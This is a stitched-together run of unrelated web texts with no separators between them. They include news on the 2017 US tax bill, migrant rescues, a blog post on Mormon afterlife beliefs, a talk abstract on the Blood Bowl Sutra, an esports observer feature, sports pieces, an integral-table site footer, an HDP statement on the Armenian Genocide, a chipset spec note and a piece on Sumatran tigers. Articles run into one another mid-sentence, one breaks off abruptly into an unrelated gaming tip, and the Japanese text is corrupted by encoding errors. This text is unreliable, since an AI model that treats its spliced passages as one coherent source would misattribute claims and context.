Subscribe to receive email notication when each new episode of 'The Creative Process' is released every Monday.WASHINGTON (Reuters) - Congressional Republicans pushed ahead on Monday on a U.S. tax code overhaul as a Senate panel considered the issue, but risks lay ahead with major intraparty disputes unsettled and President Donald Trump returning soon from Asia as the debate heats up.
The Internal Revenue Code books are delivered to a Senate Finance Committee markup on the "Tax Cuts and Jobs Act" on Capitol Hill this month. REUTERS/Kevin Lamarque
While overseas at a leaders conference, Trump tweeted some tax bill suggestions early on Monday that were starkly different from the two Republican plans being considered in the U.S. Senate and House of Representatives.
He called on lawmakers to add a highly risky provision to their tax effort: repealing the individual mandate included in the 2010 Obamacare health insurance law that requires Americans to have health coverage or pay a tax to Washington.
Neither of the two Republican plans includes such a politically divisive measure. Efforts by Republicans to dismantle Obamacare, formally known as the Affordable Care Act, collapsed dramatically months ago.
Trump has pushed hard for adding the mandate repeal to the tax-cut package. He tweeted the same suggestion on Nov. 3 just before he departed for his multi-nation Asian tour.
In his latest tweet, he also urged slashing the top tax rate for high earners to 35 percent from 39.6 percent, despite criticism from Democrats that the Republican tax bills are deficit-expanding giveaways to the rich and corporations.
The House retains the existing top tax rate in its bill, while the Senate proposes cutting it slightly to 38.5 percent.
Trump is set to return to Washington on Tuesday. A White House aide confirmed that the president would speak to House Republicans on Thursday ahead of their expected tax bill vote.
“I am proud of the Rep. House & Senate for working so hard on cutting taxes {& reform.} We’re getting close!” Trump wrote in his Monday Twitter post.
“Now, how about ending the unfair & highly unpopular Indiv Mandate in OCare & reducing taxes even further? Cut top rate to 35% w/all of the rest going to middle income cuts?” he added.
CLOCK IS TICKING
Since taking office in January, Trump has not scored a major legislative accomplishment, while frequently shifting positions and confusing lawmakers on Capitol Hill on various issues.
Many Republicans view a win on overhauling the tax code as crucial to avoiding having to go to the voters in 2018’s congressional elections with no achievements to show for a year in control of the White House and both chambers of Congress.
The clock is ticking for them. The House is expected to vote soon, perhaps on Thursday, on a tax bill approved last week at the committee level. House tax committee Chairman Kevin Brady said he was confident Republicans had the votes for passage.
Brady told reporters in a Capitol hallway that including a repeal of the Obamacare individual healthcare mandate in the tax bill “remains under consideration.”
The Senate tax committee will debate its tax plan all week before heading home for the U.S. Thanksgiving Day holiday.
When both chambers return near the end of November, they will have only 12 legislative days before the end of 2017.
In that time span, Republicans hope to iron out differences between the two tax plans over the deduction for state and local taxes, the timing of a corporate tax rate cut and the future of the estate tax on inheritances.
Each of the Republican tax plans would add about $1.5 trillion to the federal deficit over the next decade, another issue causing dissension among Republicans.
Senate Republican leader Mitch McConnell said he hoped to have a tax bill ready in the week after Thanksgiving. Between now and then, an army of lobbyists will be pressuring lawmakers to protect favored special-interest tax breaks.
On Dec. 8, a three-month extension of the spending authority for the federal government expires, requiring congressional action that could divert lawmakers from the tax overhaul.
A lengthy amendment introduced on Monday to the Senate tax plan by Republican Orrin Hatch, chairman of the tax panel, would remove a provision that lets working Americans over 50 make tax-free catch-up contributions to their retirement plans.
Democrats have kept up steady criticism of the Republican tax bills and how they were drafted. Democratic leader Chuck Schumer said the Senate measure was developed in secret by a small group that held no public hearings and ignored Democrats.
“And the reason for such reckless haste is all too obvious: the product is a wretched one... it is focused on the wealthy to the exclusion of the middle class,” he said in a statement.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
May 24, 2015, 4:31 PM GMT / Updated May 24, 2015, 5:37 PM GMT
ROME — Seventy Afghan and Iraqi migrants were rescued from a packed boat off the southeastern coast of Italy and brought to shore on Sunday, Italy's coast guard said.
Italy closed down a specialized naval mission to rescue migrants in the Mediterranean last year, but continues to bear the brunt of the rescues as the European Union and member states conduct talks on how to deal with the influx.
Two Italian coast guard cutters brought the group to the port of Santa Maria di Leuca in Puglia. There were two women and four minors on board, the coast guard said in a statement.
Refugees escaping war and persecution and economic migrants from Africa and the Middle East have poured into Italy this year. Lawlessness in Libya gives traffickers a free hand to pack people into boats.
But the journey is highly dangerous: on Saturday five Tunisians died after their boat capsized while attempting the crossing, and last month around 800 people drowned in the worst such disaster in recent history.
The United Nations refugee agency said approximately 35,500 migrants arrived in Italy by sea between the start of the year and the first week in May.
Arrivals in Greece, Spain and Malta bring the total number of migrants known to have crossed the Mediterranean in that period to 62,500.
The number of dead or missing so far this year is about 1,800 versus 3,500 during all of last year, according to the UN High Commissioner for Refugees.Among other things, Apple's iBooks 2 initiative is designed to put modern digital textbooks into schools, and some studies have found that the tablet can be a positive learning tool. However, not everyone's convinced — Bill Gates, for example. In an in-depth interview with the Chronicle of Higher Education, the Microsoft co-founder said that the future of education requires a lot more than simply providing people with new ways to read.
"Just giving people devices, that has a really terrible track record. You really have to change the curriculum and the teacher and those things, and it's never going to work on a device where you don't have keyboard-type input. I mean, students aren't there just to read things — they're supposed to actually be able to write and communicate, and so this is a lot more in the PC realm."
Rather than a tablet, Gates envisages "a low-cost PC that's going to let them be highly interactive" as more effective in education. He goes on to say that "the device is not the key limiting factor at this point," and that it makes sense for it to be something that you're "able to check out of the library." That said, with Microsoft's upcoming Surface tablets employing proprietary keyboard covers, we wonder if Gates would consider them a better fit.If you saw “The Book of Mormon” on Broadway, then you’ll undoubtedly remember when the main character sings, “I believe that God has a plan for all of us. I believe that plan involves me getting my own planet.” That idea is so obviously ridiculous that you can’t help but mock it when anyone mentions it. But according to some media reports, a new explanation of that idea by the Church of Jesus Christ of Latter-day Saints says that’s not actually how it works.
It’s part of the same series of responses in which the church admitted last December that it was racist when it said black people couldn’t be priests until 1978, but they’re not racist anymore. (Just homophobic.)
Here’s what the explanation about the planets says:
Since human conceptions of reality are necessarily limited in mortality, religions struggle to adequately articulate their visions of eternal glory. As the Apostle Paul wrote, “Eye hath not seen, nor ear heard, neither have entered into the heart of man, the things which God hath prepared for them that love him.” These limitations make it easy for images of salvation to become cartoonish when represented in popular culture. For example, scriptural expressions of the deep peace and overwhelming joy of salvation are often reproduced in the well-known image of humans sitting on their own clouds and playing harps after death. Latter-day Saints’ doctrine of exaltation is often similarly reduced in media to a cartoonish image of people receiving their own planets. A cloud and harp are hardly a satisfying image for eternal joy, although most Christians would agree that inspired music can be a tiny foretaste of the joy of eternal salvation. Likewise, while few Latter-day Saints would identify with caricatures of having their own planet, most would agree that the awe inspired by creation hints at our creative potential in the eternities.
Keep in mind that the statement is not doctrinal. It’s anonymously written and, for all most Mormons know, it’s just part of the church’s PR campaign.
What I don’t get from that article is an articulate explanation of what Mormons are supposed to believe instead. If owning your own planet is “cartoonish,” then what’s not? Sure, some Christians may take issue with a simplified idea of Heaven that involves harps and clouds, but my problem is with the idea of Heaven altogether.
The LDS article only specifies:
Church members imagine exaltation less through images of what they will get and more through the relationships they have now and how those relationships might be purified and elevated.
That’s not quite the repudiation of planet-owning that they could have made… and there’s a reason for that. Mormons still believe they can become God-like (or God, period), and if God can populate a planet as He did Earth, then what’s stopping the rest of us?
In other words, it’s not that Mormons don’t believe you get your own planet after you die. It’s that it’s not central to their concept of the afterlife. But the idea is still there. They didn’t dismiss it; they just downplayed it. Because it’s embarrassing.
I was most definitely taught in Sunday School, during the Endowment (temple) ceremony, in talks by the leaders, and in high school seminary that the righteous would inherit a planet and become “like gods.” In the temple ceremony, they repeatedly said “a world like unto the other worlds we have hereunto formed,” meaning that Jesus, God, Satan, Adam and Eve, the whole thing, happened on other planets previously.
I spoke with, one of the readers of this site and a former Mormon (for 25 years) herself, and she was adamant that she was taught by church elders that you could literally get your own planet after you die:
Carol, another Mormon I spoke with, told me,
This is something that was definitely taught when I was growing up (’70’s and ’80’s) — it was an important component of the Mormon “Plan of Salvation.” The biggest flaw in the line from the Book of Mormon musical is that it was at least a planet. The doctrine was that you create multiple worlds, perhaps your own galaxy or universe. So, for example, when I was a Mormon teen, I remember it was a serious theological question for my fellow Mormon sci-fi fans whether various life forms on different planets had the same God as each other.
Need more evidence that Mormons have been pushing this “You get a world” and “You get a world” and “You get a world” idea?
Here’s Brigham Young in the Journal of Discourses 17:143:
We shall go on from one step to another, reaching forth into the eternities until we become like the Gods, and shall be able to frame for ourselves, by the behest and command of the Almighty. All those who are counted worthy to be exalted and to become Gods, even the sons of God, will go forth and have earths and worlds like those who framed this and millions on millions of others.
No, it’s not from the Book of Mormon, but you can understand why this idea would spread. That’s not the only mention of the belief either.
So none of this is a clarification by the Mormon Church; it appears to be an attempt at backtracking and making Mormonism a little more palatable.
Not that it’ll help. The LDS Church holds a slew of beliefs that could easily be described as “cartoony.” Even if planet-owning is taken out of the mix, there’s still Jesus visiting America, multiple heavens, the golden plates, and the magical underwear.
But let’s be clear: The Mormons didn’t deny the idea of owning your own planet because, in their theology, it’s still something that could happen.
(Image via Shutterstock)Sometime during the late fourteenth or early fifteenth century, several variants of an indigenous Chinese sutra known as the Xuepenjing 血盆経 (“Blood Bowl Sutra,” Jpns. KetsubonkyÅ), were transmitted to Japan. Emphasizing the impurity of women’s reproductive blood, this short scripture teaches that women are fated to fall into a special hell known as the “Blood Pond Hell” (chi no ike jigoku è¡€ã®æ± 地ç„) in retribution for the sin of polluting the earth with blood. By the eighteenth and nineteenth centuries, temples throughout Japan actively promoted the cult of the Blood Bowl Hell as a method of saving women. In this cult, disgust for the female body, first emphasized in Buddhist texts as a means of encouraging celibate monks to remain distant from women, is directed not to celibate monks, but to a new audience of lay men and women. My talk will explore two early modern commentaries on the text in an effort to understand how priests presented the teachings of the Blood Bowl Sutra to this audience.Â
Originally recorded April 22, 2011 at the Institute of Buddhist Studies in Berkeley, Ca.
Copyright © 2010 Lori Meeks
Making Sense of the Blood Bowl Sutra: Gender, Pollution, and Salvation in Buddhist Sermons from Early Modern Japan
Share this: Facebook
Twitter
Google
Tumblr
Email
More
Print0 Report: Pastor's toddler found wandering parking lot, parents arrested
ALPHARETTA, Ga.,None - An associate church pastor and his wife face charges after Alpharetta police said the parents left their three young children home alone while they went to church.
Jongkyu Kim, 37, and his wife, Myunghwah Jeong, 35, face reckless conduct charges stemming from the Jan. 26 incident.
According to a police report obtained by Channel 2's Mike Petchenik, a neighbor found the couple's toddler son roaming the parking lot of their Wittenridge Drive townhome complex. The report said the child was wearing "adult shoes" and was visibly upset and crying.
When officers arrived, they found the door to the family's townhome open and older siblings asleep inside, police said.
Kim told police he and his wife left the children alone just before 6 a.m. so they could go to pray at their church, Sae Han Presbyterian Church, on Kimball Bridge Road.
"Mr. Kim said, while praying at the church, something came over him (as something was wrong) and he and his wife left, to go back home to check on the kids," the report said. "When they arrived home they observed the front door to their (sic) home open.
Church members wouldn't go on camera, but told Petchenik that the couple were "good people" and "good parents," and they indicated it's possible a cultural barrier may have led to them leaving thechildren home alone.
Neighbors told Petchenik they were concerned about the allegations.
http://bcove.me/aiuytzwh
"Leaving your kids alone, you deserve to be arrested," Trish McNeal said. "I think they ought to take their kids to church and let them play at the children's church."
The police report indicated the church's senior pastor had taken the children into custody.
McNeal said she was hopeful the couple could get their children back.
"Maybe they can learn their lesson, get their kids back, and make better judgments in the future," she said.Counter-Strike observer Halvor Gulestøl on the job for 2015's ESL Pro League. Image: ESL / Helena Kristiansson.
You probably don't know Halvor Gulestøl by name even if you follow organized video game competitions, or eSports, but you might be familiar with his work. At peak viewership during a recent Counter-Strike: Global Offensive tournament at Katowice, Poland, more than a million people were hanging on his every choice as he controlled what and how they saw the match, shifting between different perspectives and angles on the fly like a virtual director.
"I think it's an underestimated job in terms of how much time it takes," Gulestøl told me. "When you're observing [controlling the camera for] a game you have to watch 10 different players doing 10 different things for the span of maybe 14 hours a day. You don't get that many breaks, the longest of which are maybe five minutes between games."
By now you're probably familiar with the image of a giant arena packed with fans, all cheering for professional eSports players. More often than not these big events are for one of the popular multiplayer online battle arena (MOBA) games like Dota 2 and League of Legends. All MOBAs are descendant from the same popular Warcraft III user-made modification, and with a few less popular exceptions, are played and spectated from the same overhead perspective.
The live audiences for these games dwarf Counter-Strike, even though it's the most popular first person shooter in eSports—and a big part of the reason is the camera.
The stage at ESL's Counter-Strike eSports event in Katowice, Poland. Image ESL / Helena Kristiansson.
To understand why, think about football. The game is hard to understand as it is if you didn't grow up with the sport, but with an eye-in-the-sky perspective on the entire field, you can at least get an idea about the flow of the match. The guys in blue are trying to move the ball past the guys in red, and you can tell if they're doing a good job just by seeing where they stand in relation to the ball. MOBAs and real-time strategy games like StarCraft II also benefit from this overhead perspective.
Now imagine if you could only watch football from the first person perspective of one player at a time. You can't see the entire field, and since the camera keeps shifting to different players on both teams, you quickly lose track of who's where and why.
"People think sports fans are idiots, but football is actually hard to understand and watch and does require some advanced literacy," Frank Lantz, director of the NYU Game Center and eSports fan, told me. "But, it's easier to watch than StarCraft, and StarCraft is easier to watch than League of Legends, and League of Legends is easier to watch than Counter-Strike."
First person shooters were late to the current eSports boom, but even with the marketing machine now in place and every new first person shooter trying (and usually failing) to cultivate an eSports scene, games like Counter-Strike are still struggling with problems unique to first person shooters. Quite simply, they're harder to broadcast.
"MOBAs are much slower paced," professional eSports commentator Leigh "Deman" Smith told me. In Counter-Strike, by comparison, the team that's trying to plant a bomb at one of the sites the other team is defending can rush the objective and get there in 15 seconds. "Then it's down to the cameraman's expertize to know who's going to be the first guy in. The hardest part for us and the viewer is recognizing where they are on the map and what is happening at an instant."
ESports event organizers have tried other solutions before realizing professionals observers were the best option. Counter-Strike developer Valve has an auto-director AI, which is designed to present the match in the best way possible, but falls short of Gulestøl's abilities.
Like all professional Counter-Strike observers, Gulestøl played the game competitively. Not at the highest level, but long enough to have deep knowledge of other top teams and the metagame, the ever-evolving strategies that can change with player trends or technical updates to the game. He can recognize when a team is trying to execute on a certain strategy and which kills will help it plant the bomb and win the match.
"While the thought behind auto-director is excellent, it's not able to really differentiate between what's a significant kill and an insignificant kill," Gulestøl said. "To the auto-director a frag [kill] is a frag."
When DirectTV aired the Championship Gaming Series in 2007, it experimented with another solution: a giant split-screen showcasing the first person perspective of all 10 players at once. Both Smith and Gulestøl said it was too much to follow.
Valve also seems to realize that at least for now, observers like Gulestøl are the best way to broadcast Counter-Strike, and they're receptive to their needs.
In 2013, Counter-Strike pro player and map maker Salvatore Garozzo suggested that letting spectators see the outline of other players through walls would be a huge help, and Valve eventually added the feature. Smith told me that just before Katowice, fans asked for an icon above players' heads to indicate they've been blinded by a flashbang grenade, and two days later, there it was.
At the moment, every observer is campaigning for a better version of the 2D, overview maps in the corner of the screen. If done right, it could give Counter-Strike the advantage of an overhead perspective MOBAs and traditional sports enjoy.
Gulestøl suggested Valve clarify which player's perspective the audience is seeing at any given moment by highlighting the arrows representing players on |
not I recommend you squad up with some buddies, and use communication.Sunday on NBC’s “Meet The Press,” MSNBC host Joy Reid said President-elect Donald Trump is an “empty vessel” whose language “about Christians versus Islam,” coupled with potentially moving the U.S.embassy to Jerusalem could provoke “an absolute crisis.”
Reid said, “Well, I think the problem with Trump is because he is an empty vessel, the danger in that is that the strong camps in Trump world are all troubling. You’ve got Putinism which Trump feels in his own gut, as you can hear when he speaks. He’s very pro-Putin. So the idea of turning over global leadership to Russia is troubling. The second piece is that Donald Trump is echoing this European sort of ethno-nationalist line that the far right parties in Europe are.”
“His language is not about specific countries that are our allies,” she continued. “It’s about Christians versus Islam. The sort of eliminationist almost language which says that we are in a war of civilizations and embracing that. Something George W. Bush never did. I think even with the mistakes George W. Bush made in foreign policy, he never did that. Trump is echoing that same sort of Christian nationalist line which puts us in a dangerous place when you also have this third piece which is his potential Israeli ambassador wanting to make provocative moves like moving the embassy to Jerusalem which could touch off a conflagration in the Muslim world. I’m not sure Donald Trump knows his mind enough to have a strategy to deal with an absolute crisis which he himself could provoke soon.”
Follow Pam Key on Twitter @pamkeyNENA top official with Congress's tax scorekeeper said Monday that the House Republicans' tax bill doesn't adhere to the so-called Mnuchin rule that there be no net benefit for the wealthy.
"I would say not," Joint Committee on Taxation chief of staff Thomas Barthold said during the House Ways and Means Committee's markup of the bill. "As has been pointed out it provides for net tax reductions, particularly in the first year, up and down the income distribution."
ADVERTISEMENT
Treasury Secretary Steven Mnuchin Steven Terner MnuchinTreasury announces new Venezuela sanctions Trump trade chief changes terminology after president contradicts him Trump considering meeting with China's Xi next month to finish trade deal MORE said in a CNBC interview in November 2016 that "there will be no absolute tax cut for the upper class."
More recently, Mnuchin has backed off from that pledge, saying that it's hard to not cut taxes for the wealthy if you're cutting taxes across the board.
Barthold spoke about the Mnuchin rule in response to a question from Rep. Brian Higgins Brian HigginsDems offer smaller step toward ‘Medicare for all' Overnight Health Care — Sponsored by America's 340B Hospitals — Powerful House committee turns to drug pricing | Utah governor defies voters on Medicaid expansion | Dems want answers on controversial new opioid Assault weapons ban push tests Dem support MORE (D-N.Y.).
Higgins said that because the bill would cut taxes for high earners, "this tax plan is blatant fraud being perpetrated against Middle America."
The tax bill faced day one of a House Ways and Means Committee markup on Monday. The markup is expected to continue for several days with Committee Chairman Kevin Brady Kevin Patrick BradySmaller tax refunds put GOP on defensive Key author of GOP tax law joins Ernst and Young Lawmakers beat lobbyists at charity hockey game MORE (R-Texas) indicating he expects to be done with the bill by Thursday.NEW YORK | New York City FC are pleased to announce defender Shay Facey has extended his loan for the remainder of the 2015 Major League Soccer season.
Facey had originally been on loan from Manchester City FC’s Elite Development Squad through June 30.
“I’m really excited to be staying in New York,” Facey said. “It gives me a chance to keep learning and continue playing first-team football at a really high level. This is a fantastic place to be, the fans are incredible and it feels like we are building something very special.”
The 20-year-old center back has made nine appearances for New York City FC (4-7-5; 17 points) this season. Facey has started the last five matches and has seven starts this campaign.
“I couldn’t be more pleased that Shay will continue to be an integral part of our club for the remainder of the season,” head coach Jason Kreis said. “Shay has put in some really strong performances, especially in the last three or four games. He’s a young player and it’s a testament to his talent that he’s adjusted so quickly to MLS.”
New York City FC, currently on a three-match win streak having suffered just one loss in their last six matches, return to the field against the Red Bulls on Sunday. Kickoff is 5 p.m. EDT from Yankee Stadium. Tickets, starting as low as $25, are still available.Wesley Hitt/Getty Images
The complex and mercurial marriage of Cam Newton and the Carolina Panthers could be best compared to a marriage of two people physically but not emotionally attracted to one another.
There is excitement that causes flashes of hope, and the feeling is kept alive that something good and stable can eventually come out of it. At the end of the day, though, the emptiness of reality wilts those bright flashes, and you always seem to be reminded that beauty alone neither builds nor maintains success or stability.
Make no mistake about it, hope has been abundant throughout the Newton-Panthers marriage. After all, he did shock the NFL world in 2011 with the greatest rookie season the league had ever seen to that point. Accumulating 4,051 yards and 21 touchdown passes with his right arm in addition to adding 706 yards and 14 touchdowns with his feet turned the Panthers from the dead-worst offense in the league in 2010 to one of the best in 2011, going from 32nd ranked to sixth in points scored.
Sure, Cam and the Panthers started out 2-8 in their first season together, but a 4-2 finish to 2011 made hope spring eternal for 2012. When Bountygate tore the defending NFC South champion New Orleans Saints' offseason apart, Carolina was thought to have a fighting chance to snag the division. Hopes were high.
Sadly, Cam and the Carolina Panthers learned the hard way that hope doesn't win ballgames. They had the exact same record through 10 games as they had in the previous season, sitting at 2-8 again. The team again finished strong, winning five of their final six to finish the season 7-9, but the rally did not make the season a success.
Cam's stats regressed. His completion percentage dipped from 60 percent down to 57.7 percent, and he scored eight less touchdowns as a sophomore than as a rookie. To add insult to injury, 2012 saw three rookie quarterbacks guide losing 2011 teams to the playoffs, not to mention a guy known as RG3 quickly usurping Cam's title of greatest rookie quarterback of all time. The neophytes of this season made it very hard to argue for Cam that young quarterbacks deserve time and patience in getting their teams to the playoffs. If Andrew Luck could bring the 2-14 Colts to the postseason in one year's time, why couldn't Cam do it in two years?
The atmosphere of the Carolina Panthers going into 2013 is one of trepidation rather than hope at this point. Ron Rivera's head is firmly on the chopping block, and one would think the team would need at least a 9-7 record for Rivera to keep his job. A start akin to the 2011 and 2012 seasons could certainly get Ron canned mid-season, as he has earned no street creds with the organization that would garner him the respect of letting him finish the season.
While we all know Rivera's fate is obvious in the case of a 2013 implosion, a much more interesting question would be the fate of the organization's star player. Is it possible that Cameron Jerrell Newton, first overall pick in the 2011 NFL draft, could become trade bait just three years after his anointment as franchise savior?
The idea is not as far-fetched as it reads.
The year 2014 will be the last of Cam's rookie contract. To put this in other words, he will be going into his so-called "contract year" following this season. It would be foolish for the franchise to not at least consider shopping him in the case of a third-straight disappointing season for the Newton-Panthers marriage.
Financially, he would be extremely attractive to a willing team. He is owed only $3.4 million in 2014. In the off chance that Newton has a bad year, letting him walk following the season wouldn't cost very much, and the receiving team's budget wouldn't be nearly as punished as it would in the case of a first-round draft bust.
The asking price for Cam could be the more difficult part of the trade. This is a player whom the Panthers have put more than $30 million into, so they would probably want a king's ransom for the face of their franchise. This would most likely be in the form of a first-round draft pick, a proven NFL starter and a lower-round draft pick that would be contingent on the value of the aforementioned NFL starter.
Even with this asking price, however, Newton remains extremely attractive. Giving up a first-round pick for a proven quarterback isn't a bad racket at all. After all, don't teams give up first-round picks for unproven quarterbacks every year? Would it not be worth it to those teams we hear about every year who are "a quarterback away from contention" to spend a high pick, a low pick and a starter to put themselves over the hump?
So, with no further adieu, here is my idea.
Cam gets traded to the Pittsburgh Steelers for a first-round pick, a fourth-round pick and Big Ben. Pittsburgh will be set with youth, speed and durability at the quarterback position, three aspects they haven't had in a while.
In addition to a bevy of shiny new draft picks, Carolina will have a bridge quarterback to whatever future they choose at the position. Big Ben will be slightly over the hill and injury-prone coming into the Panthers organization, but the team will finally have a quarterback in the locker room who has winning experience and a positive attitude, two aspects that can influence a developmental quarterback in a fantastic way.
Is this the way Carolina drew it up? No.
Is this the way any team pictures handling its first overall pick? No way.
But we on the precipice of an unusual situation. Cam Newton is definitely one of the most talented quarterbacks in the league. But, for a bevy of reasons, be it questionable coaching, dearth of surrounding talent or playing in a great division, it just doesn't seem to be working for Cam in Carolina. And if that is the case, would it be better to turn the once-promising signal-caller into valuable liquid assets, or watch another team give him a $120 million contract in free agency with which his current team can't compete?
I think we both know the answer to that.Over Integrals Served. * Assumes at least one integral is read per visit.
Right click on any integral to view in mathml. Use this scroll bar ↓
The integral table in the frame above was produced TeX4ht for MathJax using the command
sh./makejax.sh integral-table
If you find an error:
the configuration file here, and the shell scripts ht5mjlatex and makejax.sh
If you find an error on this web page or would like to suggest a modification, send an email to bruce.e.shapiro at csun.edu
Please note that the equation numbering (and ordering) may be different on the printed and web version, and between the current and earlier version of this web page. When making an error report please indicate whether you are referring to the on-line or pdf version of the equation.
Usage and Attribution
Except where otherwise stated, the documents posted on integral-table.com are licensed under a Creative Commons Attribution-Noncommercial-Share Alike 3.0 Unported License. This includes the web page itself and all pdf and latex files posted on the web site http://integral-table.com and its derivative pages. Attribution to the web site http://integral-table.com will satisfy the attribution terms of this license.
Copyright © 2004-2015 B.E.Shapiro. This material is posted as is without warranty. No claims are made about the accuracy, correctness or suitability of this material for any purpose. While a reasonable effort was made to verify the accuracy of these formulas some typographical errors may have occurred. You should verify any formulas you use before using or publishing any derivative results.
The actual integral formulas themselves exist in the public domain and may not be copyrighted.
This web page and the content was developed and is maintained purely at the author's expense and not in any official capacity for any organization. No support for its development was provided, nor is any support for its continued maintenance provided by California State University, Northridge, or by any other governmental or non-governmental agency. The content, quality, and any opinions expressed on this webpage do not reflect the position of California State University, Northridge.
If you wish to provide financial support for the continued maintenance of this web site, please purchase copies of the author's books at http://calculuscastle.com
Acknowledgements
The author is not in any way affiliated with Wolfram Research, Mathematica, or the Wolfram Integrater. I've just posted the link at the top of this page because I think their web site is really cool!
Many people have identified errors and made many useful suggestions. Among those individuals are (and I apologize for spelling errors - many names are incomplete and are based only on email addresses): Daniel Ajoy; Andrea Bajo; James Duley; Johannes Ebke; Stephen Gilmore; Peter Kloeppel; Larry Morris Kregg Quarles; LS Rigo; Nicole Ritzert Stephen Russ; Jim Swift; Vedran (Veky) Čačić; Bruce Weems; Justin Winokur; Corne de Witt; Phillipe (Xul); Jose Antonio Alvarez Loyo Yates.
And I am honored to be considered amongst the following esteemed company:
Who needs a math reference when you've got MathWorld or integral-table.com?
[ Peter Maurer, Review-by-Few or Review-by-Many?]ANKARA, Turkey (A.W.)—The Peoples’ Democratic Party (HDP) of Turkey released a statement on April 24 condemning the Turkish government’s denial of the Armenian Genocide and urging a full restoration of justice. Specifically, the HDP called for recognition of the genocide of Armenians and Syriacs (Assyrians), reparations for genocide victims, and the return of all seized and appropriated properties taken during and after the crime.
The statement also called for the lifting of the unilateral blockade imposed by Turkey on Armenia; the removal of genocide denial and hate speech from Turkish textbooks; an end to Turkey’s policy of racial and religious profiling; and the granting of citizenship to all those who trace their roots to the country.
Below is the HDP’s statement in its entirety.
(Note: The statement has been edited for clarity and style).
***
One hundred and one years ago, on April 24, 1915, the [Armenian Genocide] began with the arrest of more than 200 Armenian intellectuals from their homes and their sentencing to death by Ittihad and Terakki’s [the Committee of Union and Progress] Teşkilat-ı Mahsusa [Special Organization]. The process continued with the deportation and systematic killing of thousands of Armenians. April 24 is regarded as the start of the genocide perpetrated against the Armenian and Syriac peoples.
Even 101 years after the Great Catastrophe (Medz Yeghern, in Armenian), the planned genocide of an ethnicity and faith, the politics of denial continues on the lands that have witnessed this immense pain. Turkey’s peoples have not yet faced the hefty crimes that have rendered our geography infertile, and the price continues to be enormous for all of us. That is because the monistic state mentality that aims to wipe out our differences—and create in its place one race, one religion, and one language—has attacked the people of this region in the name of homogenization.
On the lands where different peoples and faiths co-exist, no ethnic identity, language, culture, or faith can be superior to others. The state’s policy that aims at forgetting that different peoples and faiths have lived on these lands, has destroyed much of the cemeteries, schools, and churches belonging to the Armenians and the Syriacs; has seized the ones that [it] could not destroy; and has changed place names. Profiling has taken place on a state level, with hateful and insulting discourse in school textbooks and control over schools and faith centers, which are blunt proof of the monistic and hegemonic state perspective. Hrant Dink and Sevag Şahin Balıkçı’s murders are the continuation of these state policies.
We know from examples around the world that condemning crimes against humanity, facing the truth, and apologizing are very important steps towards building public peace and developing feelings of conscience and justice. Sharing the pain is an element of thinking in partnership and being able to create a democratic, peaceful, and egalitarian future together. It is an obligation of the U.N. Convention on the Prevention and Punishment of Crime of Genocide—to which Turkey is a signatory—to recognize the genocide, to apologize to the victims, to name the responsible perpetrators, and to sympathize with each other. Wounds have to heal and these are the first steps that must be taken.
The next steps should be the opening of the one-sided blockade of the Turkey-Armenia border; giving citizenship rights to the Armenians and Syriacs who trace their roots to these lands; ending profiling; clearing out hateful discourse from school textbooks; paying compensation to genocide victims; and returning and restoring the Armenian and Syriac peoples’ schools, churches, and other public properties.
In order to construct a just future, a united and decisive struggle by the people is necessary. As the grandchildren of the ancient peoples of Anatolia, we face the 101-year-old shame, share the pain, hear the tragedy in our deep heart, and commemorate all those who have fallen with grief and respect.
Peoples’ Democratic Party (HDP)
Central Executive Board
April 24, 2016Mediatek MT6592
The MediaTek MT6592 is a mid-range 28 nm SoC for Android smartphones and tablets. It was announced near the end of 2013 and is manufactured in 28 nm. It includes 8 Cortex-A7 processor cores that are typically clocked up to 1.7 - 2.0 GHz. Furthermore, the SoC integrates an ARM Mali-450 GPU at 700 MHz, WLAN, a video decoder for up to 4K content, a LPDDR3 memory controller at 666 MHz, and a 2G/3G (UMTS/HSPA+) radio.
Although the MT6592 offers eight relatively high clocked CPU cores compared to other SoCs, its performance in day-to-day usage is a bit lower, as the Cortex-A7 cores offer slower performance per clock and only a few apps are able to make use of all 8 cores simultaneously. Modern dual-core (e.g., Apple A7) or quad-core (e.g., Cortex A15 or Snapdragon 800) SoCs can be clearly faster in everyday scenarios.
The integrated ARM Mali-450 MP4 GPU offers 4 graphics clusters that are clocked at a high 700 MHz. However, the performance of the GPU is somewhat below that of a Tegra 4 or Adreno 320. Also like the Nvidia rival, the Mali-450 lacks support for OpenGL ES 3.0.
BenchmarksFuture generations may live in a world without the majestic Sumatran Tiger, as only two viable populations remain in the world, a new study reveals. Deforestation, especially for the palm oil industry, is the main culprit.
Things were bad enough for Sumatran tigers. Scientists estimated that just 618 of them remain as of 2012, but now, a new study shows that the situation is even worse. Those populations, the study found, are fragmented and isolated, with only two of the groups containing more than 30 breeding females. These small groups are unlikely to survive in the long term, and the Sumatran tiger (Panthera tigris sumatrae) is more threatened than ever.
“There are two forests that are still large enough to independently sustain tigers over the long and medium terms,” said Dr Luskin, who conducted the research as part of his PhD at the University of California, Berkeley.
The population numbers are so low that researchers actually identify tigers individually, by the unique stripes and patterns on their back. They logged habitat limits and population spread using hundreds of remote cameras triggered by movement.
New roads in Sumatra have fragmented habitats and put a lot of pressures on all animal populations, but deforestation and clearings are even worse. Tiger density has improved in undisturbed areas in Sumatra, but the problem is that very few areas are truly undisturbed.
There is some reason to be optimistic as the results are somewhat of a mixed bag, but it’s becoming more and more clear that if vegetation clearings continue as they have until now, then the tigers’ chances of survival are very limited.
Hungry for palm
The world just can’t seem to have enough of palm oil. It’s in your mascara, your laundry detergent and in pretty much every mass-produced pastry. Oil-palm plantations have savagely encroached diverse rainforests, and illegal oil-palm concessions are tipping the scale even further.
However, this issue won’t have a simple fix. Palm oil provides direct employment to 4.9 million people in Indonesia, earning the country over $20 billion a year. The local government and palm oil corporations have long claimed that the practice is sustainable and eco-friendly, but the facts seem to suggest otherwise. The practice is all the more lucrative because not only does the country generate revenue from palm plantations — but loggers also earn a lot of money from deforestation. Often, illegally.
“In behind them is often the selective loggers and the illegal loggers who go in and steal some of the high-value timber,” says Mason Campbell, a tropical ecologist at James Cook University.
According to Dr Campbell, the conservation status of forests can be downgraded after they have been logged, giving the industry a foothold to begin development.
“It’s bigger, larger, richer companies coming in, and they’re often — I’m trying to put this politely — intricately linked with the local government officials who’ve approved those roads,” he said. “Once it’s a production area it’s a bit of a free-for-all for palm oil companies.”
Peter Holmgren, director general of the Indonesia-based Center for International Forestry Research, also says that illegal logging operations are just too lucrative for locals to pass down, no matter what happens to endangered species. It’s not just tigers, either.
